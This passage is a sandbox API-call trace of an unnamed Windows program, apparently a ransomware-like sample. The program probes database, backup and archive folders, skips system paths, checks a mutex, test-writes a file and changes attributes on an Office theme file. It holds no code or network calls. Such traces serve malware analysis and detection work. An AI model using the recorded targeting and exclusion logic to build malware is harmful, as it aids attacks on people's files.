nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0051.005] GetLastError () returned 0x2 [0051.005] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0051.005] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뻜R企@\x18?T\x18;")) returned 0xffffffff [0051.006] GetLastError () returned 0x2 [0051.006] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0051.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.006] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18D")) returned 0xffffffff [0051.006] GetLastError () returned 0x2 [0051.006] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0051.006] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18뻜R\x18j")) returned 0xffffffff [0051.007] GetLastError () returned 0x2 [0051.007] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0051.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18q")) returned 0xffffffff [0051.007] GetLastError () returned 0x2 [0051.007] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뻘RP") returned 6 [0051.007] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.007] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18y")) returned 0xffffffff [0051.008] GetLastError () returned 0x2 [0051.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0051.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x81")) returned 0xffffffff [0051.008] GetLastError () returned 0x2 [0051.008] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0051.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.008] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@儔R企@\x18?T\x18\x88")) returned 0xffffffff [0051.009] GetLastError () returned 0x2 [0051.009] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0051.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0051.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18\x8f")) returned 0xffffffff [0051.009] GetLastError () returned 0x2 [0051.009] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0051.009] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0051.009] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18?T\x18\x97")) returned 0xffffffff [0051.010] GetLastError () returned 0x2 [0051.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0051.010] GlobalLock (hMem=0x440004) returned 0x550170 [0051.010] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.010] GlobalUnlock (hMem=0x440004) returned 0 [0051.010] GlobalLock (hMem=0x440004) returned 0x550170 [0051.010] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.010] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.010] GlobalUnlock (hMem=0x440004) returned 0 [0051.010] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.010] GlobalUnlock (hMem=0x44000c) returned 0 [0051.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.010] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0051.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.010] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0051.010] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0051.010] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.011] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0051.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.011] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.011] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0051.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a038, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.011] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.011] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.011] GlobalUnlock (hMem=0x44000c) returned 0 [0051.011] GlobalLock (hMem=0x44000c) returned 0x550170 [0051.011] GlobalLock (hMem=0x440004) returned 0x555b78 [0051.011] GlobalHandle (pMem=0x550170) returned 0x44000c [0051.011] GlobalUnlock (hMem=0x44000c) returned 0 [0051.011] GlobalHandle (pMem=0x555b78) returned 0x440004 [0051.011] GlobalUnlock (hMem=0x440004) returned 0 [0051.011] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0051.011] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.011] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0051.011] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0051.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0051.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0051.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0051.012] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\") returned 0x41 [0051.012] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69fd8, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0051.013] GlobalLock (hMem=0x440004) returned 0x550170 [0051.013] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.013] GlobalUnlock (hMem=0x440004) returned 0 [0051.013] GlobalLock (hMem=0x440004) returned 0x550170 [0051.013] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.013] GlobalHandle (pMem=0x550170) returned 0x440004 [0051.013] GlobalUnlock (hMem=0x440004) returned 0 [0051.013] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.013] GlobalUnlock (hMem=0x44000c) returned 0 [0051.013] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0051.013] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0051.013] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0051.013] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0051.013] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0051.013] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.013] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.013] GlobalUnlock (hMem=0x44000c) returned 0 [0051.013] GlobalLock (hMem=0x44000c) returned 0x555b78 [0051.013] GlobalLock (hMem=0x440004) returned 0x557b88 [0051.013] GlobalHandle (pMem=0x555b78) returned 0x44000c [0051.013] GlobalUnlock (hMem=0x44000c) returned 0 [0051.013] GlobalHandle (pMem=0x557b88) returned 0x440004 [0051.013] GlobalUnlock (hMem=0x440004) returned 0 [0051.013] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0051.013] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0051.014] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0051.015] CloseHandle (hObject=0x18c) returned 1 [0051.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\я")) returned 1 [0051.016] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 0x54e240 [0051.016] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0051.016] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0051.016] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0051.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", dwFileAttributes=0x20) returned 1 [0051.017] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 